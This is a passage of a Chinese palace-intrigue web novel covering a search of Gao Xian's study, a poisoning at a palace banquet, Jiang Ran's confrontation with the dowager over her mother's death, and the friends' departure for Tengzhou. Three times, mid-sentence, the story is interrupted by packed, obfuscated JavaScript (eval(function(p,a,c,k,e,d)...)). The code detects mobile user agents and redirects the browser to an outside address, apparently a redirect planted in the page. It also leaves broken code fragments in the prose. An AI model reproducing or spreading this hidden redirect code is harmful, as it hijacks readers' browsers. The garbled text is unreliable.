姜燃睁开眼睛望着满院的翠竹心里嘀咕,府中有谁会进高羡的书斋呢?呵,除了自己,也就只有他了吧。 当年在山上时,他们几人是亲亲热热的师兄师妹。可到了翻脸的时候,还不是干脆痛快。他还是一如既往的爱拖泥带水,摆在眼前的事还需要找什么证据。 姜燃拿起水壶倒出一杯水,用手指沾着水在石桌上写下了歪歪扭扭的字。 药怀素、尘起、铃泷、红豆、小琢…… 写完她怎么看都不满意,拿出帕子将水渍擦了个干净。她抬头数着天上为数不多的几颗星星,书斋里到底有什么东西值得高羡如此小心。今晚是宫宴,高羡一时半会也回不来。要不自己也进去看看,看里面究竟藏了什么见不得人的东西。 静谧的夜里,踩在石子路上的脚步声格外清晰。姜燃顿时警惕起来,右手也不动声色摸上了石凳旁的剑柄。 那人虽刻意放轻了脚步,却偶尔会不自觉叹气几声。姜燃屏气凝神准备着,却听到了熟悉的声音。她愤愤地放下剑闭目吐气,心中暗骂高琢在盛安住了这段日子把以前学的东西都抛之脑后了。亏她往日细心教导,对他报有期待。 姜燃心中虽有气但念着高琢他好歹听劝,自城楼她吓唬过他以后,再见他时都是横刀不离身了。 姜燃想这些的功夫,高琢在竹林后等了大半晌才出来。 他清清嗓子想借口支开她道:“花燕,我作画的墨锭用完了,想来书斋取一块。今日紫英告假,忆欢那离不开人,你去守着她吧。” 高琢一说完便心虚地垂下头。看着高琢,姜燃突然想起来他身上有高羡留给他的腰牌,上次他高烧时,自己就想借机入宫,结果没有凭证被侍卫拦了下来。他病了好几天高羡担心坏了,便给他留了一块腰牌以备不时之需。 姜燃正愁没机会入宫探查,高琢他就送上门来。她按下心中的笑意,故意为难道:“可大人说了,没有他的腰牌谁都不能进去。公子还是别为难我了。” 腰牌,花燕的话倒是提醒高琢了,上次兄长不是给他留了一块吗。 他掏出腰牌给花燕,“喏,你看。这下你总可以交差了吧。” 姜燃接过腰牌,仔细看了好几遍。“公子若是不介意还是先将腰牌放在我这,万一大人回来了,见我有腰牌在手,也就不会怪我了” 高琢想想也是,自己今晚之举别牵连到无辜之人才好,于是便点头同意了。 姜燃接下腰牌便转身,临走时她刻意对高琢道:“花燕刚才一直听到公子叹气,公子有烦心事别自己扛着,同统领大人说说也好。公子拿完墨就赶紧离开吧,千万别动大人的书架,大人特意叮嘱我不许碰的。” 高羡关门时,姜燃匆匆瞧过一眼里头的东西,里面有好几个大书架,可没摆几本书,她猜那个书架肯定有问题。 高琢站在书斋门前却怎么也不敢推开门,若自己真找到了什么可怎么办。来到盛安后的这许多日子里,兄长到底说得哪些是真的哪些是假的。还是说,都是骗他的。 吱呀—— 屋内一片漆黑,高琢什么也看不见。他取出火折点上,借着微弱的火光搜查他怀疑的地方。 高琢走近书柜,果然有蹊跷。偌大的书柜基本都空着,根本没放多少书。高琢试探的翻看着那几本书,发现这一摞里,上面是书,下面却是一个带有方正凹槽的木盒。 高琢将火折子放在一边,抚摸着凹槽处。像是不大的盒子形状,可惜木盒被嵌在书架上怎么也打不开。高琢废了半天力气,还是徒劳无功。 高琢抹了一把额上的汗珠,瞥见书桌上放着一幅画。他打开一瞧,是他学画时画给嫂嫂的。画纸微微泛黄可嫂嫂的面容还依旧,像刚画好时一样。高琢轻轻抚过画纸,看来兄长又爱惜又时常拿出来看。 手指抚过嫂嫂的发髻,她鬓间的祥云玉簪格外显眼。 高琢突然记得自嫂嫂死后,这发簪就被兄长收起来了,就放在…放在书桌的抽屉里。 怕被兄长发现,高琢小心翼翼翻找着玉簪。玉簪被放在一个锦盒里,大小和凹槽差不多。高琢灵机一动,将锦盒放到凹槽处,噔的一声木盒就弹开了,里面装的是一颗蜜蜡封住的蜡丸。 高琢忐忑不安的撬开蜡丸,只看了一眼便面色惨白。得到答案后,高琢心里的石头咚的一声砸到他心里。他颤抖着手收好锦缎,用横刀割下衣袍的一角塞回蜡丸。最后,再用火折将蜡融化封好,把蜡丸放回了木盒。 等把一切复原,高琢全身都是冷汗。他直到今夜才发现,兄长真的再也不是以前的兄长了,他不可能变回在家乡时的兄长了。 皇城,宫宴,糕点,兄长,阿缘…… 不容高琢多想,他只能飞速翻身上马,策马直奔皇城。耳边嗡鸣,心里犹如乱麻。他恨自己没能早点发现兄长的隐瞒的事,恨自己对兄长的信任蒙蔽了阿缘的眼睛。自己信兄长,阿缘信他。 皇城的宫宴早就不欢而散,碍于身份,姚昭桦只匆匆看了阿缘和舅舅一眼,就被宫人簇拥着回宫。姚昭桦一步三回头,姚映梧只来得及隔着人群对她说,长姐等我。 别了长姐,姚映梧心痛难忍。今夜突遭变故,她终是没能与长姐再吃上一次桂花糖糕。 宫宴上,要顾及体面。裴澄忍着哀恸没有哭出来,裴虞卿早就泪如雨下,只等父亲带她与阿衡回家。 宫人们将裴澄和裴虞卿带上马车,又想将裴虑衡尸首装进棺椁,可裴虞卿抱着弟弟的身体哭着不松手,宫人们只能拉着棺椁跟着马车往殡宫走去。 裴澄说不出话,只怕一开口便会落泪。他朝着追来的姚映梧摆摆手,便扭过了头。 桑林池外,姚映梧泣不成声。她真想一把拉住高羡,问他为何不冲她来却要伤害她无辜的表兄。可再怎么问他也没用了,表兄回不来了。她只能怪自己无能,轻信他人,既没能救回长姐又拉肖遥与牧泓屿下水。还,还害死了表兄。 “阿缘。”肖遥站在姚映梧身后许久,见她泣不成声不忍的开口安慰。 “阿缘别太自责了。他若有心害你,必然是不达目的誓不罢休的。即使你今天躲过去了,明日还不定有多少手段在等你。都说明枪易躲暗箭难防,这不是你的错呢。” 牧泓屿此时正愤懑着,高羡那家伙还敢对他挑衅一笑。他千防万防都没防住,真是可恶。听见阿遥的话,牧泓屿无比赞同道:“我千防万防都躲备不及,更何况你又没对他设防。” 姚映梧眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282359|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睫一颤,高琢信他自己也就信他了。他是高琢兄长呀,他能骗她姚映梧,可他怎么能如此辜负高琢的信任,若高琢知道真相,该多难过啊。 姚映梧心中有愧,“多谢你们今日愿意与我共同患难,我记在心里了。只是今日之事别告诉高琢了,按他的性子若他…他知道的话,恐难面对我们。” 牧泓屿附和道:“对,此事还是瞒着高琢好。你也不用太自责,我们是朋友自然要共患难。只是,去滕州寻药一事比较棘手。咱们这一去,盛安还指不定发生什么。” 肖遥也叹息着点头,“是啊阿缘,我们之间何须客气。只可怜你舅舅一家突遭变故,你表姐夫要知道了得多担心啊。” “表姐夫?” 肖遥疑惑道:“你表姐梳的坠马髻在鄢云十州都是妇人才梳的,难道是我认错了?” 姚映梧擦干眼泪,“是我没有问过表姐罢了,若她真成了婚,我也该补一份礼物的。只是现在这种情况,我也不好问了。” 牧泓屿道:“你表姐成不成婚等我们寻药回来再问她吧,我们赶紧回去收拾,明早还要早起赶路呢。” 肖遥还想去向姑母辞行便没与姚映梧一起走,去上阳宫的路上,她与牧泓屿并肩而行却一路无话。 “牧泓屿,你,你今夜何苦再出来与我们一起。” 牧泓屿苦笑道:“当然要与你一起了,我不想与你分开。我怕你去寻药,半年内不能回转。到时候,我要去了嘉州。离开盛安,生死难料。我永远也见不到你了怎么办。” 肖遥停下脚步,郑重看着牧泓屿的眼睛,“你若真能从嘉州逃走,摆脱皇子身份。你就在蔺州等我,我会想办法离开盛安去找你的。到时候,我们就住在蔺州,再也不回盛安了好不好。” 肖遥的话令牧泓屿不禁怔住,他回过味来后激动道:“阿遥,我对你发誓。只要我还是皇子的身份,就绝不与你在一起。我不会逼你嫁到皇家,让皇宫困住你。” 肖遥知道牧泓屿明白了自己的意思,笑道:“一起去上阳宫吧,陪我去拜别姑母。” 今年的宫宴没请几个臣子又结束的突然,离宫的马车只有几辆。 高羡没坐马车,走着离开的宫道。他该好好想想怎么面对小琢了。 莫内侍担忧道:“大人,裴澄的儿子是怎么回事?他会不会以为是我们下得毒手?先是拉姚映梧下水,后又有害死他儿子的嫌疑。我们会得罪裴澄吧。” 高羡闭上眼睛道:“他儿子的事是奇怪,可与我们无关,他就算查也查不到我们头上。只是拉姚映梧下水也是无奈之举,毕竟我与她中间还有小琢在。可若不借此事铲除掉心腹大患,拉拢了裴澄又有什么用。而且牧泓屿直至现在都没点头答应,日后裴澄再提起见七皇子一事只会更加危险。牧怀兴那么笃定有仙宫存在,若我们得到仙宫里的宝贝,也就不需要裴澄了。得罪就得罪了吧,无妨。” “可,若没有仙宫呢?那毕竟是个传闻,谁都没见过。” 高羡望着天上的几颗星星,心中也有疑惑。牧怀兴怕不是病傻了,若真有仙宫,里面那么多的宝贝前晋皇室华氏一族剩下的人早就拿出来造反了,怎么会还等着他牧家人一直找来找去。 高羡沉声道:“下次见到裴澄,就将此事推给陛下。正好推裴澄一把,让他别在乎七皇子直接答应我们的要求。” 此计甚好,莫内侍轻声道:“大人英明。” “那件事做的妥帖吗?” “自然妥帖,您放心我不会再失手了。等牧泓屿一回来,就是他为我们成就大业的那天。” 今夜出宫的宫道好长,姚映梧坐着马车,感觉走了有一柱香。 吁—— 车夫突然勒住了马。 姚映梧心下疑惑抬手掀开车帘,帘外,高琢正迎着月光站在马车前。 48. 最后一夜 戌时,夜渐深。 秋风裹着微凉的寒气的打在两人的衣衫上。 宫宴上的事传的很快,高琢只站在宫门片刻,就听说了今夜宫宴上许多版本的故事。 有宫人说宫宴上死了人,是姚二小姐的婢女被主家虐待,这才动手毒死了二小姐的表兄。陛下是误食有毒的糕点,姚二小姐还得替陛下寻药呢。 也有人说他们两人是苦命鸳鸯,说云昙姑娘被陛下看上做宫妃,二小姐的表兄这才服毒自杀。云昙姑娘气急,这才给陛下下了毒。 还有几个伺候皇子的宫人说,姚二小姐是被人陷害了,一盘糕点将姚家,肖家还有裴家皇室全牵扯了进去。鹬蚌相争,渔翁得利。 高琢越听心越冷,让阿缘去滕州寻药。那得去多久,几个月,还是几年。找到了是将功补过,找不到,那就是有弑君的嫌疑。滕州边境苦寒,阿缘怎么能受得了这种苦呢。 马车停在高琢面前时,他才回神。抬眼看去,正好看见姚映梧掀开车帘对上他的眼睛。 高琢眼神飘忽,心生愧意。他垂下头,自觉没脸再见阿缘了。 掀开车帘时,姚映梧先是一怔,宫宴的事闹得这么大,不知高琢知道了多少。 姚映梧含着笑走下马车,“忆欢的伤势怎么样了,这么晚了你怎么还赶来了。” 高琢摇摇头又点点头,不知怎么开口。他想说忆欢根本没受伤,又想说我来了,却来晚了。要是我今夜来了宫宴,也许兄长就不会陷害你了。 姚映梧看他如此,便知他肯定宫宴上的事了。她莞尔一笑道:“没事,都过去了。不是你的错,你也无需自责的。是我自己心急才会中了圈套……” 姚映梧深吸一口气,才又说道:“高琢,你是你,你兄长是你兄长。就像姚肖两家不对付,可我还是和皎皎是挚友一样的。我只知你若知道你兄长的计谋,是肯定不会帮他害我的,那对我来说就够了。” 说完心里的话,姚映梧瞥见高琢依旧满脸愧色,便岔开话题道:“天凉了,怎么只穿着单衣呢,冷不冷啊。” 姚映梧的关心与故作轻松的样子让高琢心中说不出来的滋味,都怪他,是他太相信兄长了,才会让兄长找到可乘之机伤害阿缘和他的朋友。 他必须离开高家了,若他还在一天,就会还听信兄长说的甜言蜜语,会被他的好话蒙蔽,让暗中伤人的箭中伤他最在乎的人。 宫门起了大风,腰间挂着的牡丹暖玉佩碰到了高琢的手,烫穿了他的真心。 “阿缘,去滕州我一定要跟你去的。我绝不会再丢下你一个人了。” 高琢的保证让姚映梧露出一个今夜唯一真心的笑容,“好,我们一同去。谁也不丢下谁。” 没有月亮的夜空有些暗淡无光。姚昭桦站在院落中的桦树下,坐立难安。 重九的宫宴上出了这许多的事,每一件都让她牵肠挂肚,思绪万千。她回殿内脱下沉重到心烦的贤妃服饰,随意的坐在树下理着自己的思绪。 还好这一路上有肖遥将军为伴,不然她要担心死阿缘了。她还得想办法联系一下滕州母族那边,让他们接应一下阿缘他们才行。 打定主意姚昭桦立刻写好信,嘱咐青萝明日借出宫探亲的名义将信交给大虎,再让大虎帮忙送到驿馆给舅舅请他联系族人。 给舅舅的信中姚昭桦一直佯装轻松,告诉舅舅她一切都好,只是表弟出事令她心碎不已,但万望舅舅保重身体要紧,裴家和表妹还要靠他呢。 姚昭桦有些担忧,舅舅入京述职有段日子了,最晚等办完表弟的丧事就要回去了。他若回去,表妹肯定是万万不肯离开虑衡的。她得想办法让舅舅在盛安为官。只是父亲与舅舅关系不好,她不好托父亲来办此事。 今夜重九宫宴,章贵妃旧疾犯了没能前来,姚昭桦换了身衣服,提着亲手做的汤去看望她。母亲嫁进姚府来时贵妃还未入宫,她也曾与她说过话。除了汤,姚昭桦还给章珮带了许多名贵药材。都是阿缘听说她病了,拖肖遥带给她补身体的。 两人一见面,先叙旧片刻。姚昭桦提起舅舅的事,章珮一口便答应了下来。一是章珮念着旧情,二来,她也可怜这个中年丧子的父亲。 孩子被人害死骤然离开父母的痛她清楚,那种痛彻心扉的滋味一辈子也忘不掉。裴澄也是可怜,他不是京官一但离开盛安,日后连孩子的墓也见不到了。 得知章珮答应,愿意写信向章御史举荐舅舅入录书省少监,姚昭桦的心才彻底放下来。 怕扰了章珮养病,姚昭桦又说了几句话便告辞了。她让青萝先回苍平宫去,自己想去梨棠苑静静心。 出苍平宫时青萝告诉她,她碰见云昙了。云昙告诉她阿缘给她准备了桂花糖糕,是仿着和羹居的糕做的。 真可惜,阿缘的心意她都没吃上。 还有舅舅,表弟突然亡故,他该多伤心啊。阿卿一晃都这么大了,她都没跟她说上一句话,只能将对他们这满满的关心,写进薄薄的信里。 唉,自入宫后,就没让她碰见一件好事。 牧彰施与两个皇子和皇妃客套完,本想去看看母后,谁知道她今日早早睡下了,自己也没见到她的面。 路过梨棠苑,牧彰施下意识瞧了一眼秋千。她果然在哪。 望着会让他下意识留心的身影牧彰施感叹一声,贤妃,她怎么会是贤妃呢。想到今日宫宴她就坐在皇兄身边,牧彰施下意识狠狠捶了梨树一拳。 秋日,是落叶的日子。一拳下去,哗哗地落叶声在空荡荡的梨棠苑格外清晰。 “谁?” 姚昭桦吓了一跳,赶忙起身喊道。 牧彰施躲避不及,与姚昭桦直接面对面撞上了。 姚昭桦打量着眼前的人,一身金丝蟒袍年岁模样看起来与她相当。盛安一直有传言,说前晋怀帝是被先帝领兵逼死于大观门,所以牧氏皇族子嗣凋零养不大皇儿。 也多亏了姚昭桦幼时听得传闻,她一下便知此人就是齐王殿下。 姚昭桦心下猜出他都身份,面上却没显露。早听三一姑姑说太后病了,她还去探望过。 虽说苍平宫离后宫其他宫殿都远,齐王殿下只要走梨棠苑这条路出宫就碰不上除她以外的其他妃嫔。这么晚了,陛下还能恩准齐王入宫,可见陛下为了显示与齐王的兄友弟恭,竟如此忽视她。 姚昭桦只觉心寒,父亲教导她的君臣之道看来也只是臣子一味臣服才是。 姚昭桦冷声问道:“你是谁,怎么深夜出入后宫。” 牧彰施自知不合规制,心虚的遮掩道:“卑职是齐王身边的肃石,太后病中想念梨棠苑的梨树。齐王怕太后夜凉着风,特命小人来此折几支梨枝,以解太后的思念之苦。无意惊扰了贵人,实在是该死。” 姚映梧挑眉冷哼一声,居然还跟她装起下人来人。姚昭桦眼神在他身上来回扫过几圈,心下一动便有了主意。 她轻咳一声道:“原来如此,既然齐王殿下是一番孝心,本宫也要成全才行。这梨树大大小小各种品种,你各剪一枝,既然是缓解娘娘思念之苦,那总要让她看得尽兴才行。” 一个品种摘一支,牧彰施简直不敢相信自己的耳朵。这梨棠苑是父皇特意种给母后的,他几乎将天下所有的品种搜罗来种在这。一种一支,他剪一晚上都剪不完。 姚昭桦见他愣神,好心提醒道:“还愣着干什么,赶紧过来剪梨枝啊。不然,太后今夜可看不上了。” 白梨、秋梨、鸭梨、雪梨、南果梨…… 牧彰施不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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牧泓屿深吸了一口皇宫的空气,明日后,他终于能摆脱这个皇宫了。 再也不用见到父皇,牧泓屹的日子……真好,他终于要自由了。 牧泓屿和四喜一起送肖遥出宫后,便让四喜先拿着画回宫了。他想着明日后再也不回来了,也该最后再看一眼这皇宫,看一眼他出生的地方。现下,也该回宫了。那画上,可有他特意叮嘱高琢给他画的东西,他得赶紧回去,看看高琢画得怎么样。 四喜已经烹好茶放在桌上,旁边摆的就是高琢画的画。 牧泓屿轻轻打开画轴,入目便是高琢提的字,记八月十六阿缘皎皎生辰图。 画卷缓缓推开,先是高琢侧身作画的身影,他旁边是姚映梧用手打着拍子哼唱着古曲。在展开,便是他心心念念的阿遥。她双手持剑,舞动间天地黯然。 牧泓屿手指轻轻抚过画纸上肖遥的脸庞,高琢画得真好,画中舞剑的她和阿遥一模一样。 牧泓屿眷恋了片刻,又喝了一杯四喜烹的茶。今夜,胸中的一腔郁闷终于全都消散,往后,就是就都是他和阿遥的好日子了。 喝完茶,牧泓屿瞟了一眼桌上摆的桂花蜜。他给姚映梧准备的生辰礼还没送给她呢,这几日太忙了,都忘记带给她。明日出城,可得记得带上。 牧泓屿将蜜罐放到包袱里,就准备将画卷全部展开,屋内却突然传来咚得一声落地声。 牧泓屿警惕地拔出佩剑,这还是阿遥送他的。可惜他不怎么会武,只能当个装饰品摆着。 牧泓屿边朝内殿走去,心里怀疑是莫内侍深夜闯进来,想借宫宴之事逼他。他皱起眉,迅速想了个借口准备搪塞他,反正明日一走,他便不会回来了。 内殿只点了一盏琉璃灯,四下空无一人,仿佛刚才的声音只是他听错了。 牧泓屿如释重负,将剑放到了桌上整个人瘫坐在榻上。四喜也真是的,今夜这么黑,还只点了一盏灯。 不知是不是吃了糕的缘故,牧泓屿今夜格外口渴。他起身刚想去拿茶杯,却被突然出现在外殿的人吓得动弹不得。 来人举着茶杯笑道:“七皇子,您是要喝茶吗。” 49. 往事旧仇 四喜醒来时,发现自己已经躺在床上不知睡了多久。 他睡得头痛欲裂,捂着脑袋爬起来,他明明记得自己在给殿下烹茶,刚烹好就,就…… 四喜拍拍脑袋,他怎么什么也想不起来了。不好,殿下还等着喝茶呢。 “殿下,殿下。卑职一不小心睡着了,请殿下恕罪。” 四喜急匆匆冲进殿内,发现殿下正望着桌上的画看得出神。 “殿下,您可要喝茶?卑职这就去您烹。” 牧泓屿收回眼神,扫了一眼桌上还冒着热气的茶微皱了下眉。 “不用了,桌上不是有一壶吗。” 有一壶?四喜不敢置信的眨眨眼,难道是他给殿下烹好了茶才去睡觉的?他怎么一点儿都不记得了。 牧泓屿抬眼,见四喜还愣在原地盯着茶杯看,于是道:“怎么,你想喝?” “不不不不不。”四喜连忙摆手,“卑职告退。” 出了殿门,四喜狠狠拍了拍脸让自己清醒清醒。 肯定是喝了那个小内侍给他的菊花酒喝醉了,他说是贵人赏的。果然是好酒,他才喝了半杯就醉了。 殿内,等四喜走后,牧泓屿从内殿将剑拿出来收好。眼神不自觉又飘向桌上的画,展开的半卷画,上面是阿缘、高琢还有皎皎。剩下半卷还未展开的,就是他了。 “记八月十六阿缘皎皎生辰图……”牧泓屿呢喃着念了一遍,便将画卷好装进了画筒。画得这样好,明日他得感谢高琢才是。 福乐宫,解决了宫宴上的麻烦事,黎稔正对着铜镜拆下头上繁重的珠钗。 呼—— 一阵怪风吹进福乐宫,殿内点燃的琉璃灯突然全部熄灭,只剩香炉燃着袅袅白烟。 “三……” 唤三一进来点灯的话黎稔还未说出口,便被一把锋利的短刀抵上了喉咙。 “您可千万别出声,不然我这短刀会立刻划破你的喉咙,血溅当场的。” 铜镜里,黎稔看来人蒙着面还身穿宫服,想来是来者不善。 “姑娘你……” “闭嘴!” 黎稔话还没说完就,被来人怒斥一声打断。 黎稔用余光瞥见了她衣角处格外显眼的的鎏金镂空香囊,“你是牧念汝将军……” “呸,什么牧念汝!母亲的名字是姜念汝。” 姜燃冷哼一声,“你这忘恩负义的小人居然还记得母亲的名字,深夜梦醒时分,你就不怕她与我姜氏一族来找你索命吗!” “太后,太后。”三一打不开殿门,只好在殿外扣门。她为黎稔取些菊花酒的功夫,正好碰上齐王殿下,两人便结伴一同回来,不料却见大殿内漆黑一片。 “太后,太后。齐王殿下来看您了。” 听见三一的声音,颈间的短刀更近了几分。 黎稔轻叹两声,念汝将军为人和善宽厚,怎么生的女儿是个火爆性子急脾气。 她无奈的高声道:“三一,你叫彰施回去吧,我今日乏了,想早些休息,你不用在我身边伺候了,早些睡吧。” “是。” 三一虽略感奇怪,但黎稔的命令她还是听从的。于是便离开大殿外,到宫门口叫牧彰施回去了。 姜燃见她还算听话,抵在她颈间的短刀也拿了下来。 “我今日带母亲的遗物来,就是要你死个明白。” 姜燃站在黎稔身后一字一句道,“或者你告诉当年究竟发生了什么,我可以考虑暂时留你一命。” 黎稔垂下头一笑,“你母亲帮我回到兰诏,还救了我皇弟一命稳住了岌岌可危的兰诏。你母亲与姜氏一族是我兰诏的恩人,姑娘哪怕想拿走我的命我也绝无二话。” “恩人?”姜燃此时愤恨到极点,手里握紧的短刀恨不得直接捅了黎稔。 她极力让自己冷静下来,“你嘴上说着恩人,可为何还要害我姜家一族满门抄斩。” 说及此处,黎稔愧疚不已。她极力解释道:“姑娘,我绝无害你母亲的心思。当年和亲队伍走到半路,还未出兰诏国土。皇弟年幼突得病重,宫内宦官当权不准御医医治我皇弟,他们从宗室选了一个痴傻孩子只等皇弟殡天便借势夺权。我母后孤立无援,只好托人送信来给我。我恳求念汝将军允我回兰诏几日,她传信给先帝,先帝允了我请求,我才得以快马加鞭赶回兰诏。” “满口胡言!”姜燃冷笑道,“你不会觉得我当时尚在母亲腹中不知内情,所以敢随意出口诓我吧。盛安人人都说是母亲失职,害你走失才延误和亲日子。先帝杀我们姜氏一族是因为母亲失职,破坏兰诏与大邺两国盟好!” 铜镜中,姜燃一双桃花似的眸子目藏凶光。只是一双眼睛,黎稔仿佛看到了当年那个意气风发的少年将军。身骑乌骓马,一身银铠,使得双剑绝世无双。 黎稔轻叹,“我何苦骗你,当年我皇弟病重之时,兰诏上下誓死保卫我黎氏皇族的几族老臣人人皆知。” 黎稔挑眉眸中杀意波动,“先帝对姜氏一族痛下杀手,还是为了包庇陛下的失职之罪。我回到兰诏王城前,牧泓峙在盛安突染风邪高烧不退。牧怀兴心系幼子,并未听从先帝安排亲自驻扎云州边境等待和亲队伍。而是自己折返回盛安,让手下大臣为他包庇罪行。所以当年念汝将军的信应该先交到牧怀兴手中,然后再给陛下。信不翼而飞,太子一党也咬死未见信件。” 听完原委,姜燃道:“他委以重任的太子因并未在云州边境等待,故没有第一时间察觉和亲的队伍比约定离开兰诏的日子晚了许久。” 黎稔接着姜燃的话说道:“而且他手下的人故意丢了念汝将军的信,还刻意假传圣旨放我回兰诏。等先帝得知我皇弟病重的消息,我已经带着念汝将军的药治好他了。因为牧怀兴的过错,先帝失去了以最小代价吞并兰诏的最好时机。” 姜燃此时才算彻底明白,“他刚登基根基不稳,不好惹众怒。若不杀我母亲,那他的太子就会成为众矢之的,群臣群起而攻之。他再怎么气愤也不可能对自己的儿子下手,只能将杀掉我母亲,平息群臣之怒。” 黎稔无奈地点头,“只恨那人手脚太干净,我至今还未找到当年究竟是谁假传圣旨,不能为念汝将军报仇。” 姜燃眯起眼睛,心下有了决断。 “当年还有谁参与了,你告诉我,我会亲自为母亲报仇的。” “牧怀兴为太子时身边最亲近的大臣有姚尺书和章珥,同他奉命来兰诏扎营的是同忠勇侯甘毅。能假传圣旨的,也就他们几人了。” 姜燃默默记下他们的名字,便准备离开。她还拿着高琢的腰牌,不宜逗留太久。 “等等,姜姑娘。”黎稔叫住姜燃。她将自己的金簪带到姜燃头上,“这是我从兰诏带来的簪子,宫中人人认得。若姑娘出宫遇到麻烦,可拿出此物。” 黎稔朝姜燃大拜,“今日我是代替兰诏黎氏一族向姑娘致谢。我向姑娘保证,日后只要你拿着金簪出入兰诏,兰诏宫内宫外姑娘皆畅通无阻。姑娘若想报仇,我兰诏皇族,愿为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299789|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘助力。” 姜燃摸了摸头上的金簪,回了个礼。 “今夜,芦元公主告诉我真相姜某感激涕零。母亲相信两国唇齿相依,我也愿助太后一臂之力。” 今夜听到三一的名字时她才明白过来,难怪十二会冒死为戈罗昂真为做事,原来是听命于她。 三一,十二,兰诏丰家。 黎稔对姜燃的话有些意外,但她只是笑笑并未当真。 “当年你在你母亲腹中,我用尽心力才拖延六个月让你能顺利生下。如今能见你一面,知道你平安,他日入九泉,我也算有脸见你母亲。” 提到母亲,姜燃静默良久。她将封住的大门用短刀挑开,出门离开了。 月落,天将明。 高琢一大早便收拾好东西,带着包袱离开了高府,他得赶紧和阿缘一起去滕州。 府中,尘起与高羡看着高琢决绝的背影沉默无语。 等到高琢离去,尘起才开口问道:“你不去送他?” 高羡没说话只是摇摇头。 “忆欢醒来怎么办,你怎么和她解释?” “就说小琢出远门了,暂时不会回来了。” 高羡的声音嘶哑,望着院中两指粗的梧桐树道:“昨夜我就知道小琢不会再留在高府了,他走得比我想的还坚决。” 尘起的目光从高羡脸上移开,没再搭话,只是暗中握紧了手中的横刀。 高琢到的时候姚映梧与肖遥都已经在门口了。 肖遥见高琢行装轻简而来,笑道:“刚刚我还跟阿缘说呢,鄢云十州冬日寒冷,咱们一起不知多久才能回来。我要她多备些冬衣,结果就看见你也背着这点东西就来了,别还没到滕州,你们两个都冻病了。” 姚映梧也担忧接道:“昨夜母亲特意叮嘱,说边陲苦寒,我在盛安冬日畏寒是甚少出门,衣服恐抵御不了边陲的寒风。她叫我先带几身厚衣服,剩下的去滕州做才好。” 高琢也悻悻回道:“我的衣服都是来盛安现做的,现下还没来得及做冬日衣服呢。” 见二人都当真了,肖遥才笑道:“我逗你们的,我常在边境,知道盛安的衣裳再厚也很难抵住大雪的寒气。我啊特意多带了几身裘衣,兄长给祖父传信说庆州前几日下了场小雪,一下子冷了。庆州下雪了,蔺州也快了。等我们一到滕州,滕州也该下雪了,到时候盛安的衣服肯定不抗风,有了这几身裘衣,我们也能抗一阵。” “皎皎,还好有你。”姚映梧听了肖遥的话,放下心里的担忧。 肖遥眨眨眼道:“你在滕州的母族到时候会接应我们的,我感谢你才是。” “咦?皎皎你怎么知道我母族人会在盛安接应我们?” “我今早拜别姑母后碰上贤妃身边的青萝姑娘,她特意告诉我的,还说贤妃已经替裴太守和你都打点好了,叫你不用担心,安心替陛下寻药就好。” 肖遥的话给姚映梧吃上了一颗定心丸,长姐总是能考虑周全,替她谋划好一切。 “哎,肖遥。你既去了宫里牧泓屿怎么没同你一起来?” 高琢等了好一会儿也没见到他,他还想问问牧泓屿自己替他画的画好不好呢。 肖遥摇摇头,道:“我也本想与他一同来的,可四喜说他一大早就离开了,也不知去哪儿了。我在宫里找了一圈没见他,便先自己过来了。” 高琢啧啧两声,“他可别是后悔同我们一起……” 哎呦!高琢话还没说完,肩膀上便重重挨了一下。 50. 一夜戏弄 高琢揉着肩膀抱怨道:“你今日手劲怎么这么大,差点把我给打散架了。” “随手一碰你就呼天喊地的,你也太不禁打了吧。”牧泓屿边理着衣裳边调侃道。 看他们二人打闹,肖遥也跟着笑了起来。等笑完她问牧泓屿道:“哎,我去找你时你怎么不在宫里?” 牧泓屿抬眼看着肖遥道:“我想着要离开皇宫了,一去不知得多久,就又在宫里走了一圈到处看看。” 姚映梧望着皇城的方向不舍道:“只可惜我不能再入宫了。不然,此次出远门定要与长姐道个别,再见表兄最后一面的。” 牧泓屿看着姚映梧的样子开口道:“我离宫的时候见你表姐已经到殡宫了,你若想再见他们最后一面,我们就在这儿陪你等她出来。” 姚映梧摇摇头,“我们出城要从承天门走,等他们从皇城走到这儿来,咱们就误了出城的时辰了。” 秋日的早晨起了薄雾,一阵秋风吹过,姚映梧单薄的身子轻轻颤了两下。 高琢担忧道:“阿缘,城门风大,先上马车吧。等咱们寻药回来,我跟你一起去裴家祖地拜见表兄。” 高琢昨夜拿的东西他还带在身上,只是现在还不是把它交给阿缘的时候。他得等陪阿缘寻药回来,在表兄墓前道完歉,再到铁甲覆面军报到。等到临去沙场前,他才能安心把它交给阿缘。 高琢垂着脑袋,姚映梧没看到他脸上失落的神情。她搓搓吹凉的双臂,应道:“嗯,咱们走吧。” 马车载着四人,一路出承天门向滕州方向走去。 灰蒙蒙的天还未亮,牧彰施两手抱着梨枝踏着晨雾回到了齐王府。 “肃石。阿嚏!阿嚏!肃石,给我倒杯姜茶来。阿嚏!” 